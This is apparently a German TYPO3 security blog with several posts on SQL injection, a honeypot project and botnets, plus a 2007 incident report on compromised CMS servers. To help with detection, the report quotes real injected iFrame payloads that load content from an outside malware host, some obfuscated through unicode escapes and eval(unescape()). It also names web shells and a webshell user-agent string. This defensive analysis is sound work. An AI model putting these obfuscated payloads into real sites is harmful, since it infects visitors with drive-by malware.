Auch Lars Houmark und Henning Pingel taten das in ihrem heutigen Vortrag, gingen aber noch einen Schritt weiter: Sehr anschaulich demonstrierte Lars, wie er scriptgestützt eine beliebige SQL Injection Schwachstelle ausnutzen kann (per “Blind SQL Injection”) und erlangte auf dieser Basis in kürzester Zeit Admin-Zugriff auf das angegriffene System.

Gleichzeitig wurden Statistiken gezeigt, die vor Augen führen, wie viele der in diesem Jahr bereits aufgetretenen Lücken in TYPO3-Extensions eben solche SQL Injections beinhalten. In einem Wort: Dramatisch!

Es bleibt zu hoffen, dass alle Teilnehmer die Lehren aus dieser anschaulichen Demonstration in ihren TYPO3-Alltag mitnehmen…

Nachtrag: Dieser Vortrag wurde sogar zum besten Vortrag der Konferenz gekürt. Herzlichen Glückwunsch!

Da fragt man sich doch, wie kann das sein?

• Ein großer Anteil der Downloads war sicherlich nur zum Testen – ok. Wieviel Prozent mag das ausmachen? Ich hätte bisher so 75% vermutet, aber das kann natürlich voll daneben liegen. Und der Anteil wird sicherlich je nach Charakter der Extension variieren.
• Admins, die nicht informiert sind. Das wäre traurig – die typo3-announce Mailingliste sollte Pflichtprogramm für jeden Admin sein!
• Sonstige Gründe, dass ein Admin seinen Job nicht tut. Tja, die soll es wohl geben.
• Gar nicht gewartete Server: Es gibt erschreckend viele TYPO3-Server, die irgendwann von irgendwem aufgesetzt wurden, und seitdem allenfalls noch redaktionell betreut werden. Tickende Zeitbomben…

In der Vergangenheit hat das noch ganz gut geklappt. Wir können aber sicher davon ausgehen, dass dies sich ändern wird: Schon jetzt werden Server mit bekannten TYPO3-Löchern automatisiert gesucht und gehackt. Und das wird noch deutlich schlimmer werden, jede Wette.

Die Frage für das TYPO3-Projekt lautet natürlich: “was tun?”

Aus meiner Sicht kann eine Optimierung des Bulletin-Verfahrens die Admin-Arbeit (z.B. per “TYPO3 Patch-Day“) sicherlich deutlich erleichtern. Einen Quantensprung in der Umsetzung von Fehlerbehebungen wird es aber erst geben, wenn automatisierte und/oder teilautomatisierte Warn- und Updateverfahren verfügbar sind. Dies wurde zwar bereits mehrfach andiskutiert, aber der genaue “Fahrplan” steht noch aus…

Was haltet ihr davon?

Die Hacker (insbesondere die per Spider hereinkommenden) wollen wir dabei auf verschiedene Weise zum Honeypot lenken:

• interessante Branche (eine der vorzugsweise gehackten)
• normal scheinende Inhalte
• vermeintliche Angriffsflächen (Extensions, Formulare, interessantes Directory Indexing erlauben, …)
• gezielt auch: tatsächliche Angriffsflächen (bekannt fehlerhafte Extensions, …)

vor allem aber durch

• Umleiten “vorhandenen” Scan-Traffics von anderen Websites zum Honeypot
• Suchmaschinenoptimierung, damit oben genannter Mäusespeck, quatsch: Honig, auch gefunden wird.

Für letzteren Punkt tun wir einiges auf der Seite und darüber hinaus, aber vor allem sind Backlinks immer sehr wertvoll. Daher:

Aufruf: Wer die Möglichkeit hat, einen oder mehrere Links zum Honeypot zu setzen (kann ruhig ein versteckter sein, z.B. weiß auf weißem Grund , der sollte bitte mich (über http://www.naw.info/de/ueber-uns/kontakt.html) oder das Security Team (über http://typo3.org/teams/security/contact-us/) direkt kontaktieren. Danke schön!

Wenn’s gut läuft, gibt es schon eine Menge Ideen, wie man das Ganze ausbauen und noch besser nutzen kann – aber erstmal brauchen wir einen schnellen Start. In jedem Fall werden die Ergebnisse natürlich an dieser Stelle veröffentlicht… Ich bin jetzt schon gespannt.

Es ist zum Geschäftsmodell geworden, “Flotten” von gekaperten Endbenutzer-PCs (“Bot-Fleets”) aufzubauen und für bezahlte Aktivitäten fernzusteuern. Beispiele dafür sind der beliebte Spam-Versand oder auch das Lahmlegen (per “DDOS”) von Websites der Konkurrenz, aufgetreten z.B. im Bereich Online-Poker u.ä.

Der “klassische” Weg zum Kapern von Endbenutzer-PCs, also Windows-Maschinen, sind netzwerkbasierte Angriffe.Doch dieser Weg ist heute meist verbaut durch den verbreiteten Einsatz von DSL-Routern mit NAT sowie die Tatsache, dass die Windows-Firewall ab XP SP2 standardmäßig aktiviert ist.

Als neuerer Angriffsweg kommen seit geraumer Zeit immer wieder Wellen von Schadsoftware, die per Spam-Mail verschickt wird. Zwar lassen sich noch immer viele Anwender zum Ausführen solcher, oft getarnter, Dateianhänge verleiten. Doch man darf davon ausgehen, dass zumindest Teile der Anwender dazulernen und vor allem, dass die Erkennung durch Schutzprogramme besser wird.

Daher ist die Infektion von Endbenutzer-PCs über Websites (in Verbindung mit jeweils aktuellen Windows-”Löchern”) offenbar ein Weg der Zukunft. Bisher war dies vor allem auf zwielichtigen Websites zu erwarten, die Benutzer mit verlockenden Pseudo-Angeboten (oft “MP3″, “Serialz”, etc…) anlocken. Dies ist nun anders: Harmlose Seiten aller Art bis hin zu Auftritten öffentlicher Körperschaften u.ä. können betroffen sein und ihre Benutzer infizieren.

Was lernen wir daraus? Das Potenzial für Massenhacks ist schon lange da – Designschwächen in der prinzipiellen Funktionsweise des Webs, massenhaft amateurhafte geschriebene oder jedenfalls fehlerhafte Software, massenhaft suboptimal betriebene Server. Doch nun wird dieses Potenzial systematisch ausgenutzt.

Dem entgegenzuwirken liegt natürlich auch im Interesse des TYPO3-Projekts. Es gibt verschiedene prinzipelle Sicherheitsbereiche, an denen kontinuierlich gearbeitet wird:

• Vermeiden von Sicherheitslöchern (durch Hilfestellungen für Extension-Entwickler ebenso wie durch technische Maßnahmen, insb. mit TYPO3 v5)
• Aufspüren und Beseitigen von Sicherheitslöchern
• Einschränken der Auswirkungen von Sicherheitslöchern

Diese Arbeit ist unverzichtbar, aber aufwändig und kann anders als viele andere Tätigkeiten im TYPO3-Projekt meist nicht aus Kundenprojekten refinanziert werden. Sie auch langfristig tragfähig zu organisieren, ist aus meiner Sicht eine Kernherausforderung für den weiteren Erfolg von TYPO3 und im Interesse jedes einzelnen Anwenders. Ich könnte mir vorstellen, dass es auf der kommenden TYPO3-Konferenz (t3con, 20.-22.September 2007) eine “BOF”-Runde zu diesem Thema geben wird…

Schon seit einiger Zeit wird von wiederkehrenden Angriffen auf Webserver berichtet, so etwa in den Pressemeldungen “Groß angelegter Angriff auf Web-Anwender im Gange”, “Weitere Details zu Web-Attack-Toolkit MPack” “Schneeball-Effekt: nur ein anfälliges PHP-Script genügt” und vielen anderen Quellen. In diesen Angriffen werden – zumindest teilweise automatisiert – verschiedene Wege ausgenutzt, um Kontrolle über die Webserver zu erlangen.

Dies hat nun auch TYPO3 (und andere CMS-Systeme) erreicht: Einige Berichte zu solchen Vorkommnissen waren in Foren zu lesen, andere wurden diskret dem TYPO3 Security Team gemeldet. In diesem Artikel möchte ich vorstellen, was davon von allgemeinem Interesse ist.

“Woran kann ich erkennen, ob mein System betroffen ist?”

Das “Hacken” der Systeme wird momentan offenbar vor allem ausgenutzt, um kleine HTML “Inline-Frames” (iFrames) im Seiteninhalt zu verankern. Wenn ich also als ahnungsloser Endbenutzer eine betroffenen Webseite besuche, sieht diese möglicherweise ganz normal aus – allerdings wird unbemerkt zusätzlicher Inhalt von einem fremden Server geladen. Dies kann Schadsoftware aller Art sein (die ihrerseits z.B. neue Javascript- oder Windows-Lücken ausnutzt.)

Die gehackten Systeme werden also als zentral gesteuerte “Malware-Schleuder” verwendet. (ABER: Dies kann sich schon morgen ändern! Wenn die Hacker sich überlegen, die betroffenen Server anderweitig zu mißbrauchen oder gar zu zerstören, werden sie das tun können.) Links zu weiteren Analysen finden sich z.B. im o.g. Heise-Artikel.

Bleiben wir bei den iFrame-Attacken. Wie sehen diese nun konkret aus? Das Prinzip ist klar: Im Seitenquelltext findet sich die Einbindung eines iFrame, z.B. in der einfachsten Schreibweise:
<iframe src=http://www.alexa-rank.info/libraries/iframe.php
?u=a4" style="display:none"></iframe>

Doch die Hacker (oder sogar nur “der Hacker”?) haben inzwischen viele andere Varianten hinterlassen, die verschleiern sollen, was vor sich geht.

Ein weiteres Beispiel, bei dem die IP 203.223.159.105 (= www.alexa-rank.info) in Ihrer Hexadezimal-Darstellung “0xcbdf9f69″ angegeben wird:
<iframe src="http://0xcbdf9f69/google-analytics/iframe.php
?u=a4" style="display: none;"></iframe>

Neben “alexa-rank.info” sind auch andere Zielsysteme aufgetaucht, z.B.

• gashar.info (bisher nur für Joomla-Hacks genutzt)
• www.free20.com
• google-counter.org
• …

Hier noch einige weitergehende Verschleierungen:
<meta name="description" content="<iframe src=http://0xcbdf9f69/google.com/AdSense.php style="display:none"></iframe>" />

<span class="someclass">[</span> <a href="Login.html" class="bottomnav">Login<span class="someclass">]<iframe src="http://0xcbdf9f69/libraries/iframe.php" style="display: none"></iframe> </span></a> <span class="someclass">]</span>

<script type="text/javascript">document.write('
\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020
\u0073\u0072\u0063\u003d\u0068\u0074\u0074\u0070
\u003a\u002f\u002f\u0030\u0078\u0063\u0062\u0064
\u0066\u0039\u0066\u0036\u0039\u002f\u0067\u006f
\u006f\u0067\u006c\u0065\u002d\u0061\u006e\u0061
\u006c\u0079\u0074\u0069\u0063\u0073\u002f\u0069
\u0066\u0072\u0061\u006d\u0065\u002e\u0070\u0068
\u0070\u003f\u0075\u003d\u0061\u0034\u0020\u0073
\u0074\u0079\u006c\u0065\u003d\u0022\u0064\u0069
\u0073\u0070\u006c\u0061\u0079\u003a\u006e\u006f
\u006e\u0065\u0022\u003e\u003c\u002f\u0069\u0066
\u0072\u0061\u006d\u0065\u003e');</script>

<script type="text/javascript">document.write
('\u003c\u0069\u0066\u0072\u0061\u006d
\u0065\u0020\u0073\u0072\u0063\u003d\u0068
\u0074\u0074\u0070\u003a\u002f\u002f\u0077
\u0077\u0077\u002e\u0061\u006c\u0065\u0078
\u0061\u002d\u0072\u0061\u006e\u006b\u002e
\u0069\u006e\u0066\u006f\u002f\u006c\u0069
\u0062\u0072\u0061\u0072\u0069\u0065\u0073
\u002f\u0069\u0066\u0072\u0061\u006d\u0065
\u002e\u0070\u0068\u0070\u0020\u0073\u0074
\u0079\u006c\u0065\u003d\u0022\u0064\u0069
\u0073\u0070\u006c\u0061\u0079\u003a\u006e
\u006f\u006e\u0065\u0022\u003e\u003c\u002f
\u0069\u0066\u0072\u0061\u006d\u0065\u003e');
</script>

<script type="text/javascript">eval
(unescape('%64%6F%63%75%6D%65%6E%74%2E
%77%72%69%74%65%28%27%3C%69%66%72%61
%6D%65%20%73%72%63%3D%68%74%74%70%3A
%2F%2F%77%77%77%2E%61%6C%65%78%61%2D
%72%61%6E%6B%2E%69%6E%66%6F%2F%6C%69
%62%72%61%72%69%65%73%2F%69%66%72%61
%6D%65%2E%70%68%70%3F%75%3D%61%34%20
%73%74%79%6C%65%3D%22%64%69%73%70%6C
%61%79%3A%6E%6F%6E%65%22%3E%3C%2F%
69%66%72%61%6D%65%3E%27%29%3B'));</script>

Noch ein Tipp zur Erkennung: Eine der nach erfolgreichem Hackerangriff manchmal installierten Webshells erfordert den folgenden User-Agent:

"http://www.googlebot.com/bot.html)" (jedoch mit der Endung "shtml" statt "html" !)


Also: WENN im Webserver-Log ein solcher Eintrag (inklusive der o.g. nderung der Endung) auftritt, sollten die Alarmglocken schrillen. WENN NICHT – heißt das gar nichts…

“Wie dringen die Angreifer auf ein System ein?”

Offenbar unterschiedlich…

• Es sind verschiedenste Systeme betroffen, sowohl TYPO3 als auch andere Systeme (Joomla, …)
• In manchen Fällen wurden Lücken in darunterliegender Software (z.B. cPanel) ausgenutzt.
• Es wurden Fälle berichtet, in denen bekannte Lücken in TYPO3 Dritt-Extensions ausgenutzt wurden (z.B. der “macina_banners Bug“). Es sei hier nochmal dringend empfohlen, für alle bekannte Probleme die dafür verfügbare Behebung einzuspielen!

Hinweise auf bisher unbekannte Probleme mit TYPO3 Kern oder Zusatzmodulen konnte das Security Team bisher nicht finden. Dennoch kann dies natürlich nicht ausgeschlossen werden – wer auf seinem Server solche Verdachtsmomente findet, sollte diese also bitte unbedingt und vertraulich dem TYPO3 Security Team zukommen lassen.

Im Ergebnis verfügt der Hacker dann jeweils über einen Zugriff auf das System, mindestens mit den Rechten des Webserver-Prozesses. Diese nutzt er im nächsten Schritt aus.

“Was tun die “Hacker” auf dem System?”

Momentan im Kern offenbar zwei Dinge:

• Sie schaffen sich eine komfortable Arbeitsumgebung (z.B. per Web-Shell wie “r57shell” oder “STNC WebShell”, also Browser-Oberfläche, mit der sie mit Dateien arbeiten und Shell-Kommandos ausführen können.) Übrigens ein klarer Hinweis, dass es sich hier NICHT um vollautomatische Attacken, Würmer o.ä. handelt!
• Sie manipulieren Dateien (z.B. durch Anhängen des “iFrame”-Codes am Ende index.php oder an anderen Stellen, bis hin zu localconf.php)

Auch hier finden sich wieder viele Verschleierungtaktiken. Der Schad-Code wird an verschiedensten Stellen abgelegt, z.B. in Extension-Unterverzeichnissen oder in typo3temp. Oder, noch kreativer: Er wird in Dateien mit anderen Endungen (z.B. CSS) abgelegt und diese etwa per .htaccess ausführbar gemacht, oder einfach eingebunden.

Jedenfalls gehen die Hacker recht abwechslungsreich vor und scheinen auch einige TYPO3-Kenntnisse mitzubringen.

“Mein Server wurde gehackt. Wie kann ich ihn wieder bereinigen?”

Schwierig! Das reine Beheben der sichtbaren Symptome (z.B. “iFrame-Code aus index.php löschen”) reicht mit Sicherheit nicht. Ein zuverlässiges Bereinigen heißt: Sichergehen, dass alle Änderungen (in Datenbanken und Dateien) rückgängig gemacht sind und keine Hintertür das Hackers mehr offenbleibt. Um es offen zu sagen – dies ist SEHR schwer, genaugenommen müßte man sogar sagen: unmöglich.

Meine dringende Empfehlung ist daher, das System aus intakter Datensicherung komplett neu aufzusetzen!

Wer so weit nicht gehen kann oder möchte, sollte folgendes beherzigen:

• Wenn irgend möglich, zunächst das System vom Internet trennen
• Versuchen zunächst sicherzustellen, dass der Angreifer nicht über die Rechte des Webservers hinaus Systemzugriff erlangt hat (also, bei Linux / Unix: root geworden ist). Rootkit-Suchwerkzeuge wie chkrootkit können helfen.
• Versuche dann herauszufinden, über welche Lücke das System gehackt worden ist. Sind bekannt unsichere TYPO3-Extensions eingebunden und nicht aktualisiert? Sind veraltete Middleware-Versionen (Apache, PHP, cPanel, …) oder Drittsoftware (phpBB, …) im Einsatz? Wurde ein FTP-Zugang mißbraucht (z.B. durch Ausprobieren unsicherer Kennworte?)
• Nun geht es an’s Aufräumen… viiiiel Glück dabei (s.o.)…

“An wen kann ich mich wenden, und was sollte ich sonst noch tun?”

Wie schon gesagt: Wer Dinge findet, die auf bisher unbekannt Probleme mit TYPO3 Kern oder TYPO3 Dritt-Extensions hinweisen, sollte diese Information unbedingt und vertraulich dem TYPO3 Security Team zukommen lassen (Link s.o.). Dieses wird prüfen, ob es sich wirklich um ein Problem handelt, die kurzfristige Behebung einleiten und nach mit Bereitstellung der Behebung das Problem veröffentlichen. Dazu wird neben typo3.org auch die TYPO3 Announce Mailingliste verwendet, die jeder TYPO3-Betreiber unbedingt abonnieren sollte!

Wer andere (also nicht TYPO3-spezifische), bisher unbekannte Probleme vermutet, sollte sich ebenfalls vertraulich an den entsprechenden Hersteller wenden.

In keinem Fall sollte etwaige Lücken öffentlich gemacht werden, bevor sie behoben sind!

Abschließend sei allen Serverbetreibern nochmal ein verantwortungsvoller Betrieb ans Herz gelegt. Dies bedeutet vor allem: Sorgfältige Auswahl und Konfiguration der eingesetzten Software, und kurzfristiges Einspielen etwaiger Sicherheitsfixes sowohl für Anwendungen (z.B. TYPO3 oder TYPO3 Dritt-Extensions) als auch für Betriebssystem und Middleware.

Eine Sammlung detaillierterer Hinweise gibt übrigens das TYPO3 Security Kochbuch, welches auf der TYPO3 Security Team Webseite verlinkt ist.